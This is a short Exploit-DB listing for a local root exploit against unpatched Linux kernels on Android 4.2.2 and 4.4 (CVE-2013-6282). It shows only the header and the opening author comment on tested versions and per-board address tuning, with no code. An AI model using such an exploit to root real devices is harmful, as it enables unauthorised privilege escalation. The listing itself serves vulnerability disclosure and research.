Exploit-DB #31574
Description: Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation
Type: local
Platform: arm
Date: 2014-02-11
Author: Piotr Szerman

Exploit:
/*
 * Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282.
 *
 * Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable.
 * You need to customize the addresses so that they match the target board. On Android, both /proc/kallsyms and dmesg are
 * restricted, thus no automation here.
 *
 * Rigged up by Piotr Szerman. (c) 2013
